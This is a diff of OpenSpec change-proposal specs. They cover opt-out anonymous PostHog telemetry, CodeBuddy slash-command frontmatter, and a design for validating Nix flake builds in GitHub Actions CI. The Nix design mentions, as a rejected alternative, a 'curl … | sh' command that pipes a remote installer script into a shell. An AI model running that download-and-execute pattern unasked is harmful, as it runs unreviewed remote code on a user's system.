||||
- Add PostHog Node.js SDK as a dependency
|
||||
- Implement telemetry system with environment variable opt-out
|
||||
- Track command usage (command name and version only)
|
||||
- Show first-run notice informing users about telemetry
|
||||
- Store anonymous ID in global config (`~/.config/openspec/config.json`)
|
||||
- Respect `DO_NOT_TRACK` and `OPENSPEC_TELEMETRY=0` environment variables
|
||||
- Auto-disable in CI environments
|
||||
|
||||
## Capabilities
|
||||
|
||||
### New Capabilities
|
||||
|
||||
- `telemetry`: Anonymous usage analytics using PostHog. Covers command tracking, opt-out controls, and first-run disclosure notice.
|
||||
|
||||
### Modified Capabilities
|
||||
|
||||
- `global-config`: Add telemetry state storage (anonymous ID, notice seen flag)
|
||||
|
||||
## Impact
|
||||
|
||||
- **Dependencies**: Add `posthog-node` package
|
||||
- **Privacy**: Opt-out via env var, no personal data collected, clear disclosure
|
||||
- **Configuration**: New global config fields for telemetry state
|
||||
- **Network**: Async event sending with flush on exit (~100-300ms added)
|
||||
- **CI/CD**: Telemetry auto-disabled when `CI=true`
|
||||
- **Documentation**: Update README with telemetry disclosure
|
||||
@@ -0,0 +1,21 @@
|
||||
## MODIFIED Requirements
|
||||
|
||||
### Requirement: Global configuration storage
|
||||
The system SHALL store global configuration in `~/.config/openspec/config.json`, including telemetry state with `anonymousId` and `noticeSeen` fields.
|
||||
|
||||
#### Scenario: Initial config creation
|
||||
- **WHEN** no global config file exists
|
||||
- **AND** the first telemetry event is about to be sent
|
||||
- **THEN** the system creates `~/.config/openspec/config.json` with telemetry configuration
|
||||
|
||||
#### Scenario: Telemetry config structure
|
||||
- **WHEN** reading or writing telemetry configuration
|
||||
- **THEN** the config contains a `telemetry` object with `anonymousId` (string UUID) and `noticeSeen` (boolean) fields
|
||||
|
||||
#### Scenario: Config file format
|
||||
- **WHEN** storing configuration
|
||||
- **THEN** the system writes valid JSON that can be read and modified by users
|
||||
|
||||
#### Scenario: Existing config preservation
|
||||
- **WHEN** adding telemetry fields to an existing config file
|
||||
- **THEN** the system preserves all existing configuration fields
|
||||
@@ -0,0 +1,116 @@
|
||||
## ADDED Requirements
|
||||
|
||||
### Requirement: Command execution tracking
|
||||
The system SHALL send a `command_executed` event to PostHog when any CLI command executes, including only the command name and OpenSpec version as properties.
|
||||
|
||||
#### Scenario: Standard command execution
|
||||
- **WHEN** a user runs any openspec command
|
||||
- **THEN** the system sends a `command_executed` event with `command` and `version` properties
|
||||
|
||||
#### Scenario: Subcommand execution
|
||||
- **WHEN** a user runs a nested command like `openspec change apply`
|
||||
- **THEN** the system sends a `command_executed` event with the full command path (e.g., `change:apply`)
|
||||
|
||||
### Requirement: Privacy-preserving event design
|
||||
The system SHALL NOT include command arguments, file paths, project names, spec content, error messages, or IP addresses in telemetry events.
|
||||
|
||||
#### Scenario: Command with arguments
|
||||
- **WHEN** a user runs `openspec init my-project --force`
|
||||
- **THEN** the telemetry event contains only `command: "init"` and `version: "<version>"` without arguments
|
||||
|
||||
#### Scenario: IP address exclusion
|
||||
- **WHEN** the system sends a telemetry event
|
||||
- **THEN** the event explicitly sets `$ip: null` to prevent IP tracking
|
||||
|
||||
### Requirement: Environment variable opt-out
|
||||
The system SHALL disable telemetry when `OPENSPEC_TELEMETRY=0` or `DO_NOT_TRACK=1` environment variables are set.
|
||||
|
||||
#### Scenario: OPENSPEC_TELEMETRY opt-out
|
||||
- **WHEN** `OPENSPEC_TELEMETRY=0` is set in the environment
|
||||
- **THEN** the system sends no telemetry events
|
||||
|
||||
#### Scenario: DO_NOT_TRACK opt-out
|
||||
- **WHEN** `DO_NOT_TRACK=1` is set in the environment
|
||||
- **THEN** the system sends no telemetry events
|
||||
|
||||
#### Scenario: Environment variable takes precedence
|
||||
- **WHEN** the user has previously used the CLI (config exists)
|
||||
- **AND** the user sets `OPENSPEC_TELEMETRY=0`
|
||||
- **THEN** telemetry is disabled regardless of config state
|
||||
|
||||
### Requirement: CI environment auto-disable
|
||||
The system SHALL automatically disable telemetry when `CI=true` environment variable is detected.
|
||||
|
||||
#### Scenario: CI environment detection
|
||||
- **WHEN** `CI=true` is set in the environment
|
||||
- **THEN** the system sends no telemetry events
|
||||
|
||||
#### Scenario: CI with explicit enable
|
||||
- **WHEN** `CI=true` is set
|
||||
- **AND** `OPENSPEC_TELEMETRY=1` is explicitly set
|
||||
- **THEN** telemetry remains disabled (CI takes precedence for privacy)
|
||||
|
||||
### Requirement: First-run telemetry notice
|
||||
The system SHALL display a one-line telemetry disclosure notice on the first command execution, before any telemetry is sent.
|
||||
|
||||
#### Scenario: First command execution
|
||||
- **WHEN** a user runs their first openspec command
|
||||
- **AND** telemetry is enabled
|
||||
- **THEN** the system displays: "Note: OpenSpec collects anonymous usage stats. Opt out: OPENSPEC_TELEMETRY=0"
|
||||
|
||||
#### Scenario: Subsequent command execution
|
||||
- **WHEN** a user has already seen the notice (noticeSeen: true in config)
|
||||
- **THEN** the system does not display the notice
|
||||
|
||||
#### Scenario: Notice before telemetry
|
||||
- **WHEN** displaying the first-run notice
|
||||
- **THEN** the notice appears before any telemetry event is sent
|
||||
|
||||
### Requirement: Anonymous user identification
|
||||
The system SHALL generate a random UUID as an anonymous identifier on first telemetry send, stored in global config.
|
||||
|
||||
#### Scenario: First telemetry event
|
||||
- **WHEN** the first telemetry event is sent
|
||||
- **AND** no anonymousId exists in config
|
||||
- **THEN** the system generates a random UUID v4 and stores it in config
|
||||
|
||||
#### Scenario: Persistent identity
|
||||
- **WHEN** a user runs multiple commands across sessions
|
||||
- **THEN** the same anonymousId is used for all events
|
||||
|
||||
#### Scenario: Lazy generation with opt-out
|
||||
- **WHEN** a user opts out before running any command
|
||||
- **THEN** no anonymousId is ever generated or stored
|
||||
|
||||
### Requirement: Immediate event sending
|
||||
The system SHALL send telemetry events immediately without batching, using `flushAt: 1` and `flushInterval: 0` configuration.
|
||||
|
||||
#### Scenario: Event transmission timing
|
||||
- **WHEN** a command executes
|
||||
- **THEN** the telemetry event is sent immediately, not queued for batch transmission
|
||||
|
||||
### Requirement: Graceful shutdown
|
||||
The system SHALL call `posthog.shutdown()` before CLI exit to ensure pending events are flushed.
|
||||
|
||||
#### Scenario: Normal exit
|
||||
- **WHEN** a command completes successfully
|
||||
- **THEN** the system awaits `shutdown()` before exiting
|
||||
|
||||
#### Scenario: Error exit
|
||||
- **WHEN** a command fails with an error
|
||||
- **THEN** the system still awaits `shutdown()` before exiting
|
||||
|
||||
### Requirement: Silent failure handling
|
||||
The system SHALL silently ignore telemetry failures without affecting CLI functionality.
|
||||
|
||||
#### Scenario: Network failure
|
||||
- **WHEN** the telemetry request fails due to network error
|
||||
- **THEN** the CLI command completes normally without error message
|
||||
|
||||
#### Scenario: PostHog outage
|
||||
- **WHEN** PostHog service is unavailable
|
||||
- **THEN** the CLI command completes normally without error message
|
||||
|
||||
#### Scenario: Shutdown failure
|
||||
- **WHEN** `shutdown()` fails or times out
|
||||
- **THEN** the CLI exits normally without error message
|
||||
@@ -0,0 +1,47 @@
|
||||
## 1. Setup
|
||||
|
||||
- [x] 1.1 Add `posthog-node` package as a dependency
|
||||
- [x] 1.2 Create `src/telemetry/` module directory
|
||||
- [x] 1.3 Add PostHog API key configuration (environment variable or embedded)
|
||||
|
||||
## 2. Global Config
|
||||
|
||||
- [x] 2.1 Create or extend global config module for `~/.config/openspec/config.json`
|
||||
- [x] 2.2 Implement read/write functions that preserve existing config fields
|
||||
- [x] 2.3 Define telemetry config structure (`anonymousId`, `noticeSeen`)
|
||||
|
||||
## 3. Core Telemetry Module
|
||||
|
||||
- [x] 3.1 Implement `isTelemetryEnabled()` checking `OPENSPEC_TELEMETRY`, `DO_NOT_TRACK`, and `CI` env vars
|
||||
- [x] 3.2 Implement `getOrCreateAnonymousId()` with lazy UUID generation
|
||||
- [x] 3.3 Initialize PostHog client with `flushAt: 1` and `flushInterval: 0`
|
||||
- [x] 3.4 Implement `trackCommand(commandName, version)` with `$ip: null`
|
||||
- [x] 3.5 Implement `shutdown()` with try/catch for silent failure handling
|
||||
|
||||
## 4. First-Run Notice
|
||||
|
||||
- [x] 4.1 Implement `maybeShowTelemetryNotice()` function
|
||||
- [x] 4.2 Check `noticeSeen` flag before displaying notice
|
||||
- [x] 4.3 Display notice text: "Note: OpenSpec collects anonymous usage stats. Opt out: OPENSPEC_TELEMETRY=0"
|
||||
- [x] 4.4 Update `noticeSeen` in config after first display
|
||||
|
||||
## 5. CLI Integration
|
||||
|
||||
- [x] 5.1 Add Commander.js `preAction` hook to show notice and track command
|
||||
- [x] 5.2 Add Commander.js `postAction` hook to call shutdown
|
||||
- [x] 5.3 Handle subcommand path extraction (e.g., `change:apply`)
|
||||
|
||||
## 6. Testing
|
||||
|
||||
- [x] 6.1 Test opt-out via `OPENSPEC_TELEMETRY=0`
|
||||
- [x] 6.2 Test opt-out via `DO_NOT_TRACK=1`
|
||||
- [x] 6.3 Test auto-disable in CI environment
|
||||
- [x] 6.4 Test first-run notice display and noticeSeen persistence
|
||||
- [x] 6.5 Test anonymous ID generation and persistence
|
||||
- [x] 6.6 Test silent failure on network error (mock PostHog)
|
||||
|
||||
## 7. Documentation
|
||||
|
||||
- [x] 7.1 Add telemetry disclosure section to README
|
||||
- [x] 7.2 Document opt-out methods (`OPENSPEC_TELEMETRY=0`, `DO_NOT_TRACK=1`)
|
||||
- [x] 7.3 Document what data is collected and not collected
|
||||
@@ -0,0 +1,16 @@
|
||||
## Why
|
||||
|
||||
CodeBuddy slash command configurator currently uses inconsistent frontmatter fields compared to other tools. It uses `category` and `tags` fields (like Crush) but should use `argument-hint` field (like Factory, Auggie, and Codex) for better consistency. Additionally, the `proposal` command is missing frontmatter fields entirely. After reviewing CodeBuddy's official documentation, the correct format should use `description` and `argument-hint` fields with square bracket parameter format.
|
||||
|
||||
## What Changes
|
||||
|
||||
- Replace `category` and `tags` fields with `argument-hint` field in CodeBuddy frontmatter
|
||||
- Add missing frontmatter fields to the `proposal` command
|
||||
- Use correct square bracket format for `argument-hint` parameters (e.g., `[change-id]`)
|
||||
- Ensure consistency with CodeBuddy's official documentation
|
||||
|
||||
## Impact
|
||||
|
||||
- Affected specs: cli-init, cli-update
|
||||
- Affected code: `src/core/configurators/slash/codebuddy.ts`
|
||||
- CodeBuddy users will get proper argument hints in the correct format for slash commands
|
||||
+75
@@ -0,0 +1,75 @@
|
||||
## MODIFIED Requirements
|
||||
|
||||
### Requirement: Slash Command Configuration
|
||||
|
||||
The init command SHALL generate slash command files for supported editors using shared templates.
|
||||
|
||||
#### Scenario: Generating slash commands for Antigravity
|
||||
- **WHEN** the user selects Antigravity during initialization
|
||||
- **THEN** create `.agent/workflows/openspec-proposal.md`, `.agent/workflows/openspec-apply.md`, and `.agent/workflows/openspec-archive.md`
|
||||
- **AND** ensure each file begins with YAML frontmatter that contains only a `description: <stage summary>` field followed by the shared OpenSpec workflow instructions wrapped in managed markers
|
||||
- **AND** populate the workflow body with the same proposal/apply/archive guidance used for other tools so Antigravity behaves like Windsurf while pointing to the `.agent/workflows/` directory
|
||||
|
||||
#### Scenario: Generating slash commands for Claude Code
|
||||
- **WHEN** the user selects Claude Code during initialization
|
||||
- **THEN** create `.claude/commands/openspec/proposal.md`, `.claude/commands/openspec/apply.md`, and `.claude/commands/openspec/archive.md`
|
||||
- **AND** populate each file from shared templates so command text matches other tools
|
||||
- **AND** each template includes instructions for the relevant OpenSpec workflow stage
|
||||
|
||||
#### Scenario: Generating slash commands for CodeBuddy Code
|
||||
- **WHEN** the user selects CodeBuddy Code during initialization
|
||||
- **THEN** create `.codebuddy/commands/openspec/proposal.md`, `.codebuddy/commands/openspec/apply.md`, and `.codebuddy/commands/openspec/archive.md`
|
||||
- **AND** populate each file from shared templates that include CodeBuddy-compatible YAML frontmatter for the `description` and `argument-hint` fields
|
||||
- **AND** use square bracket format for `argument-hint` parameters (e.g., `[change-id]`)
|
||||
- **AND** each template includes instructions for the relevant OpenSpec workflow stage
|
||||
|
||||
#### Scenario: Generating slash commands for Cline
|
||||
- **WHEN** the user selects Cline during initialization
|
||||
- **THEN** create `.clinerules/workflows/openspec-proposal.md`, `.clinerules/workflows/openspec-apply.md`, and `.clinerules/workflows/openspec-archive.md`
|
||||
- **AND** populate each file from shared templates so command text matches other tools
|
||||
- **AND** include Cline-specific Markdown heading frontmatter
|
||||
- **AND** each template includes instructions for the relevant OpenSpec workflow stage
|
||||
|
||||
#### Scenario: Generating slash commands for Crush
|
||||
- **WHEN** the user selects Crush during initialization
|
||||
- **THEN** create `.crush/commands/openspec/proposal.md`, `.crush/commands/openspec/apply.md`, and `.crush/commands/openspec/archive.md`
|
||||
- **AND** populate each file from shared templates so command text matches other tools
|
||||
- **AND** include Crush-specific frontmatter with OpenSpec category and tags
|
||||
- **AND** each template includes instructions for the relevant OpenSpec workflow stage
|
||||
|
||||
#### Scenario: Generating slash commands for Cursor
|
||||
- **WHEN** the user selects Cursor during initialization
|
||||
- **THEN** create `.cursor/commands/openspec-proposal.md`, `.cursor/commands/openspec-apply.md`, and `.cursor/commands/openspec-archive.md`
|
||||
- **AND** populate each file from shared templates so command text matches other tools
|
||||
- **AND** each template includes instructions for the relevant OpenSpec workflow stage
|
||||
|
||||
#### Scenario: Generating slash commands for Factory Droid
|
||||
- **WHEN** the user selects Factory Droid during initialization
|
||||
- **THEN** create `.factory/commands/openspec-proposal.md`, `.factory/commands/openspec-apply.md`, and `.factory/commands/openspec-archive.md`
|
||||
- **AND** populate each file from shared templates that include Factory-compatible YAML frontmatter for the `description` and `argument-hint` fields
|
||||
- **AND** include the `$ARGUMENTS` placeholder in the template body so droid receives any user-supplied input
|
||||
- **AND** wrap the generated content in OpenSpec managed markers so `openspec update` can safely refresh the commands
|
||||
|
||||
#### Scenario: Generating slash commands for OpenCode
|
||||
- **WHEN** the user selects OpenCode during initialization
|
||||
- **THEN** create `.opencode/commands/openspec-proposal.md`, `.opencode/commands/openspec-apply.md`, and `.opencode/commands/openspec-archive.md`
|
||||
- **AND** populate each file from shared templates so command text matches other tools
|
||||
- **AND** each template includes instructions for the relevant OpenSpec workflow stage
|
||||
|
||||
#### Scenario: Generating slash commands for Windsurf
|
||||
- **WHEN** the user selects Windsurf during initialization
|
||||
- **THEN** create `.windsurf/workflows/openspec-proposal.md`, `.windsurf/workflows/openspec-apply.md`, and `.windsurf/workflows/openspec-archive.md`
|
||||
- **AND** populate each file from shared templates (wrapped in OpenSpec markers) so workflow text matches other tools
|
||||
- **AND** each template includes instructions for the relevant OpenSpec workflow stage
|
||||
|
||||
#### Scenario: Generating slash commands for Kilo Code
|
||||
- **WHEN** the user selects Kilo Code during initialization
|
||||
- **THEN** create `.kilocode/workflows/openspec-proposal.md`, `.kilocode/workflows/openspec-apply.md`, and `.kilocode/workflows/openspec-archive.md`
|
||||
- **AND** populate each file from shared templates (wrapped in OpenSpec markers) so workflow text matches other tools
|
||||
- **AND** each template includes instructions for the relevant OpenSpec workflow stage
|
||||
|
||||
#### Scenario: Generating slash commands for Codex
|
||||
- **WHEN** the user selects Codex during initialization
|
||||
- **THEN** create global prompt files at `~/.codex/prompts/openspec-proposal.md`, `~/.codex/prompts/openspec-apply.md`, and `~/.codex/prompts/openspec-archive.md` (or under `$CODEX_HOME/prompts` if set)
|
||||
- **AND** populate each file from shared templates that map the first numbered placeholder (`$1`) to the primary user input (e.g., change identifier or question text)
|
||||
- **AND** wrap the generated content in OpenSpec markers so `openspec update` can refresh the prompts without touching surrounding custom notes
|
||||
+56
@@ -0,0 +1,56 @@
|
||||
## MODIFIED Requirements
|
||||
|
||||
### Requirement: Slash Command Updates
|
||||
|
||||
The update command SHALL refresh existing slash command files for configured tools without creating new ones, and ensure the OpenCode archive command accepts change ID arguments.
|
||||
|
||||
#### Scenario: Updating slash commands for Antigravity
|
||||
- **WHEN** `.agent/workflows/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md`
|
||||
- **THEN** refresh the OpenSpec-managed portion of each file so the workflow copy matches other tools while preserving the existing single-field `description` frontmatter
|
||||
- **AND** skip creating any missing workflow files during update, mirroring the behavior for Windsurf and other IDEs
|
||||
|
||||
#### Scenario: Updating slash commands for Claude Code
|
||||
- **WHEN** `.claude/commands/openspec/` contains `proposal.md`, `apply.md`, and `archive.md`
|
||||
- **THEN** refresh each file using shared templates
|
||||
- **AND** ensure templates include instructions for the relevant workflow stage
|
||||
|
||||
#### Scenario: Updating slash commands for CodeBuddy Code
|
||||
- **WHEN** `.codebuddy/commands/openspec/` contains `proposal.md`, `apply.md`, and `archive.md`
|
||||
- **THEN** refresh each file using the shared CodeBuddy templates that include YAML frontmatter for the `description` and `argument-hint` fields
|
||||
- **AND** use square bracket format for `argument-hint` parameters (e.g., `[change-id]`)
|
||||
- **AND** preserve any user customizations outside the OpenSpec managed markers
|
||||
|
||||
#### Scenario: Updating slash commands for Cline
|
||||
- **WHEN** `.clinerules/workflows/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md`
|
||||
- **THEN** refresh each file using shared templates
|
||||
- **AND** include Cline-specific Markdown heading frontmatter
|
||||
- **AND** ensure templates include instructions for the relevant workflow stage
|
||||
|
||||
#### Scenario: Updating slash commands for Crush
|
||||
- **WHEN** `.crush/commands/` contains `openspec/proposal.md`, `openspec/apply.md`, and `openspec/archive.md`
|
||||
- **THEN** refresh each file using shared templates
|
||||
- **AND** include Crush-specific frontmatter with OpenSpec category and tags
|
||||
- **AND** ensure templates include instructions for the relevant workflow stage
|
||||
|
||||
#### Scenario: Updating slash commands for Cursor
|
||||
- **WHEN** `.cursor/commands/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md`
|
||||
- **THEN** refresh each file using shared templates
|
||||
- **AND** ensure templates include instructions for the relevant workflow stage
|
||||
|
||||
#### Scenario: Updating slash commands for Factory Droid
|
||||
- **WHEN** `.factory/commands/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md`
|
||||
- **THEN** refresh each file using the shared Factory templates that include YAML frontmatter for the `description` and `argument-hint` fields
|
||||
- **AND** ensure the template body retains the `$ARGUMENTS` placeholder so user input keeps flowing into droid
|
||||
- **AND** update only the content inside the OpenSpec managed markers, leaving any unmanaged notes untouched
|
||||
- **AND** skip creating missing files during update
|
||||
|
||||
#### Scenario: Updating slash commands for OpenCode
|
||||
- **WHEN** `.opencode/command/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md`
|
||||
- **THEN** refresh each file using shared templates
|
||||
- **AND** ensure templates include instructions for the relevant workflow stage
|
||||
- **AND** ensure the archive command includes `$ARGUMENTS` placeholder in frontmatter for accepting change ID arguments
|
||||
|
||||
#### Scenario: Updating slash commands for Windsurf
|
||||
- **WHEN** `.windsurf/workflows/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md`
|
||||
- **THEN** refresh each file using shared templates
|
||||
- **AND** ensure templates include instructions for the relevant workflow stage
|
||||
@@ -0,0 +1,6 @@
|
||||
## 1. Implementation
|
||||
|
||||
- [x] 1.1 Update CodeBuddy frontmatter to use `argument-hint` instead of `category` and `tags`
|
||||
- [x] 1.2 Add missing frontmatter fields to the `proposal` command
|
||||
- [x] 1.3 Ensure all three commands (proposal, apply, archive) have consistent frontmatter structure
|
||||
- [x] 1.4 Test the changes by running `openspec init` and `openspec update`
|
||||
@@ -0,0 +1,206 @@
|
||||
# Design: Nix CI Validation
|
||||
|
||||
## Context
|
||||
|
||||
OpenSpec recently added Nix flake support to enable Nix users to install the tool. This includes:
|
||||
- `flake.nix`: Nix package definition with pnpm dependency fetching
|
||||
- `scripts/update-flake.sh`: Automation script to update version and hash when releasing
|
||||
|
||||
Currently, there is no CI validation ensuring these Nix artifacts remain functional. The existing CI workflow (.github/workflows/ci.yml) validates Node.js builds, tests, and linting across multiple platforms (Linux, macOS, Windows) but does not validate Nix builds.
|
||||
|
||||
**Stakeholders**: Nix users, maintainers, contributors who need confidence that Nix support works.
|
||||
|
||||
**Constraints**:
|
||||
- Must work in GitHub Actions Linux runners
|
||||
- Should minimize CI runtime impact (<5 minutes added)
|
||||
- Should support local testing with `act` for rapid iteration
|
||||
- Must integrate with existing required checks
|
||||
|
||||
## Goals / Non-Goals
|
||||
|
||||
**Goals**:
|
||||
- Validate `nix build` succeeds on every PR/push
|
||||
- Validate `scripts/update-flake.sh` executes without errors
|
||||
- Ensure Nix support doesn't regress silently
|
||||
- Support local testing with `act`
|
||||
- Optimize with caching to minimize CI time
|
||||
|
||||
**Non-Goals**:
|
||||
- Testing on macOS (GitHub-hosted macOS runners are slower and more expensive; Nix flake already declares macOS support)
|
||||
- Building for all declared systems (x86_64-linux, aarch64-linux, x86_64-darwin, aarch64-darwin) - focus on most common platform
|
||||
- Validating Nix flake quality/style (nixpkgs-fmt, etc.) - can be added later if needed
|
||||
- Running OpenSpec's full test suite through Nix build - existing CI already does this
|
||||
|
||||
## Decisions
|
||||
|
||||
### Decision 1: Use DeterminateSystems nix-installer-action
|
||||
|
||||
**What**: Use `determinatesystems/nix-installer-action` for installing Nix in CI.
|
||||
|
||||
**Why**:
|
||||
- Official GitHub Action maintained by Determinate Systems (Nix experts)
|
||||
- Handles GitHub Actions environment quirks automatically
|
||||
- Includes automatic caching configuration
|
||||
- More reliable than curl | sh installation script
|
||||
- Better error messages and diagnostics
|
||||
|
||||
**Alternatives considered**:
|
||||
- Official Nix installer (`curl -L https://nixos.org/nix/install | sh`): Works but requires manual setup of flakes, caching, and CI-specific configuration
|
||||
- `cachix/install-nix-action`: Popular alternative but determinatesystems is more actively maintained and has better GHA integration
|
||||
|
||||
### Decision 2: Use Magic Nix Cache for performance
|
||||
|
||||
**What**: Use `determinatesystems/magic-nix-cache-action` for automatic binary caching.
|
||||
|
||||
**Why**:
|
||||
- Zero-configuration caching for Nix store
|
||||
- Significantly reduces CI time on subsequent runs (from ~5min to ~1-2min)
|
||||
- Free for public repositories
|
||||
- Handles cache keys automatically
|
||||
|
||||
**Alternatives considered**:
|
||||
- Manual Nix store caching with GitHub Actions cache: More complex, requires manual cache key management
|
||||
- Cachix: Excellent tool but requires account setup and token management
|
||||
- No caching: Acceptable for initial implementation, but poor developer experience
|
||||
|
||||
### Decision 3: Separate job for Nix validation
|
||||
|
||||
**What**: Create a dedicated `nix-validate` job in .github/workflows/ci.yml that runs in parallel with other jobs.
|
||||
|
||||
**Why**:
|
||||
- Keeps Nix validation isolated from Node.js validation
|
||||
- Allows parallel execution for faster CI
|
||||
- Easier to debug when Nix-specific issues occur
|
||||
- Can be marked as required check independently
|
||||
|
||||
**Alternatives considered**:
|
||||
- Add Nix steps to existing jobs: Creates coupling between Node.js and Nix validation, harder to maintain
|
||||
- Separate workflow file: Overkill for a single job, harder to manage required checks
|
||||
|
||||
### Decision 4: Validate update script by executing it
|
||||
|
||||
**What**: Run `scripts/update-flake.sh` as part of CI validation.
|
||||
|
||||
**Why**:
|
||||
- Ensures the script doesn't break due to changes in package.json format, nix build output, or dependencies
|
||||
- Tests the full workflow users will follow when releasing
|
||||
- Catches errors early
|
||||
|
||||
**Implementation approach**:
|
||||
- Execute script in a way that doesn't modify git state (or discard changes after)
|
||||
- Verify script exits with code 0
|
||||
- Optionally validate that flake.nix contains expected patterns after execution
|
||||
|
||||
**Alternatives considered**:
|
||||
- Mock/dry-run mode: Would require modifying the script significantly
|
||||
- Skip validation: Risky - script could break and only be discovered at release time
|
||||
- Only run on release branches: Misses issues early in development
|
||||
|
||||
### Decision 5: Run on pull_request and push to main
|
||||
|
||||
**What**: Configure Nix validation job to run on:
|
||||
- `pull_request` events (any PR to main)
|
||||
- `push` events (direct pushes to main)
|
||||
- `workflow_dispatch` (manual trigger for testing)
|
||||
|
||||
**Why**:
|
||||
- Catches issues before merge (pull_request)
|
||||
- Validates main branch stays healthy (push)
|
||||
- Allows manual testing without creating PRs (workflow_dispatch)
|
||||
|
||||
### Decision 6: Support act for local testing
|
||||
|
||||
**What**: Ensure workflow is compatible with `act` tool for local CI testing.
|
||||
|
||||
**Why**:
|
||||
- Faster iteration when developing CI changes
|
||||
- Allows testing without pushing to GitHub
|
||||
- Reduces commit noise from CI debugging
|
||||
|
||||
**Requirements**:
|
||||
- Use standard GitHub Actions syntax
|
||||
- Document any act-specific configuration needed
|
||||
- Test that Nix can be installed in act's Docker containers
|
||||
|
||||
**Limitations**:
|
||||
- act may not perfectly replicate GitHub's runners, but close enough for validation
|
||||
|
||||
## Risks / Trade-offs
|
||||
|
||||
### Risk: CI runtime increase
|
||||
|
||||
**Impact**: Adding Nix validation will increase total CI time by 2-5 minutes per run.
|
||||
|
||||
**Mitigation**:
|
||||
- Run Nix job in parallel with existing jobs (no blocking delay)
|
||||
- Use magic-nix-cache for subsequent runs (~1-2 min with cache)
|
||||
- Configure appropriate timeout (10 minutes max)
|
||||
|
||||
**Acceptance**: The benefit of preventing Nix regressions outweighs the cost.
|
||||
|
||||
### Risk: Nix installer failures in CI
|
||||
|
||||
**Impact**: Transient failures in Nix installation could block PRs.
|
||||
|
||||
**Mitigation**:
|
||||
- Use determinatesystems action which has retry logic
|
||||
- Monitor for flaky failures and adjust if needed
|
||||
- Document troubleshooting steps
|
||||
|
||||
**Acceptance**: Nix installation is generally stable in GHA; this is low risk.
|
||||
|
||||
### Risk: Update script modifies git state
|
||||
|
||||
**Impact**: Running update-flake.sh modifies flake.nix, which could cause CI to fail if git state is checked.
|
||||
|
||||
**Mitigation**:
|
||||
- Run script in isolation without committing changes
|
||||
- Add `git checkout -- flake.nix` after validation
|
||||
- Or accept dirty git state in CI (doesn't affect build validation)
|
||||
|
||||
**Acceptance**: Script validation is important enough to handle this carefully.
|
||||
|
||||
### Risk: act compatibility issues
|
||||
|
||||
**Impact**: Workflow might not work perfectly with act due to Docker environment differences.
|
||||
|
||||
**Mitigation**:
|
||||
- Document known limitations
|
||||
- Focus on GitHub Actions as primary validation target
|
||||
- Use act as best-effort local testing
|
||||
|
||||
**Acceptance**: act support is nice-to-have, not required.
|
||||
|
||||
## Migration Plan
|
||||
|
||||
### Phase 1: Add Nix job (new, non-required)
|
||||
1. Add `nix-validate` job to .github/workflows/ci.yml
|
||||
2. Configure to run in parallel with existing jobs
|
||||
3. Do NOT mark as required check initially
|
||||
4. Monitor for ~1 week to ensure stability
|
||||
|
||||
### Phase 2: Make required
|
||||
1. After validation is stable, add to required checks
|
||||
2. Update branch protection rules in GitHub settings
|
||||
3. Document in CONTRIBUTING.md or README
|
||||
|
||||
### Rollback Plan
|
||||
If Nix validation causes issues:
|
||||
1. Remove job from required checks in GitHub settings (immediate)
|
||||
2. Comment out or remove job from workflow (permanent fix)
|
||||
3. Investigate and fix issues
|
||||
4. Re-enable following same phased approach
|
||||
|
||||
## Open Questions
|
||||
|
||||
- **Q**: Should we test update-flake.sh on every CI run, or only when package.json or pnpm-lock.yaml changes?
|
||||
- **A**: Test on every run for simplicity. The script is fast (<30 seconds) and catching regressions is valuable.
|
||||
|
||||
- **Q**: Should we validate on macOS as well?
|
||||
- **A**: No for initial implementation. Linux validation is sufficient and macOS runners are slower/more expensive. Can add later if users report macOS-specific issues.
|
||||
|
||||
- **Q**: Should we run full OpenSpec tests through the Nix build?
|
||||
- **A**: No. The Nix build already runs `pnpm test` as part of its build phase. Existing CI jobs cover testing thoroughly. Nix validation focuses on build success.
|
||||
|
||||
- **Q**: What timeout should we use for the Nix validation job?
|
||||
- **A**: Start with 10 minutes. With caching, jobs should complete in 1-3 minutes. Without cache (first run), 5-7 minutes is expected.
|
||||
@@ -0,0 +1,21 @@
|
||||
# Add Nix CI Validation
|
||||
|
||||
## Why
|
||||
|
||||
The project recently added Nix flake support (flake.nix) and an automated update script (scripts/update-flake.sh) to enable Nix users to install OpenSpec. However, there is no CI validation ensuring these Nix artifacts continue to work as the project evolves. This creates risk that breaking changes could be merged without detection.
|
||||
|
||||
## What Changes
|
||||
|
||||
- Add a new GitHub Actions workflow job to validate Nix flake builds successfully
|
||||
- Add validation that the update-flake.sh script executes without errors
|
||||
- Test on Linux (where Nix support is most common)
|
||||
- Ensure CI fails if Nix build or update script breaks
|
||||
- Enable local testing with `act` for developers
|
||||
|
||||
## Impact
|
||||
|
||||
- Affected specs: New capability `ci-nix-validation`
|
||||
- Affected code: `.github/workflows/ci.yml` (add new job)
|
||||
- Affected infrastructure: GitHub Actions runners with Nix installed
|
||||
- Benefits: Prevents regressions in Nix support, gives confidence to Nix users
|
||||
- Trade-offs: Adds ~2-3 minutes to CI runtime
|
||||
+104
@@ -0,0 +1,104 @@
|
||||
# CI Nix Validation Specification
|
||||
|
||||
## ADDED Requirements
|
||||
|
||||
### Requirement: Nix Flake Build Validation
|
||||
|
||||
The CI system SHALL validate that the Nix flake builds successfully on every pull request and push to main.
|
||||
|
||||
#### Scenario: Successful flake build
|
||||
|
||||
- **WHEN** a pull request or push to main is made
|
||||
- **THEN** the CI SHALL execute `nix build` and verify it completes with exit code 0
|
||||
- **AND** the build output SHALL contain the openspec binary
|
||||
|
||||
#### Scenario: Flake build failure
|
||||
|
||||
- **WHEN** the Nix flake configuration is broken
|
||||
- **THEN** the CI job SHALL fail with a non-zero exit code
|
||||
- **AND** the CI SHALL prevent merging of the pull request
|
||||
|
||||
#### Scenario: Multi-platform support check
|
||||
|
||||
- **WHEN** the flake declares support for multiple systems
|
||||
- **THEN** the CI SHALL validate the flake builds on at least Linux (x86_64-linux)
|
||||
|
||||
### Requirement: Update Script Validation
|
||||
|
||||
The CI system SHALL validate that the update-flake.sh script executes successfully and produces valid output.
|
||||
|
||||
#### Scenario: Update script execution
|
||||
|
||||
- **WHEN** the CI runs the update script validation
|
||||
- **THEN** the script SHALL execute without errors
|
||||
- **AND** the script SHALL correctly extract the version from package.json
|
||||
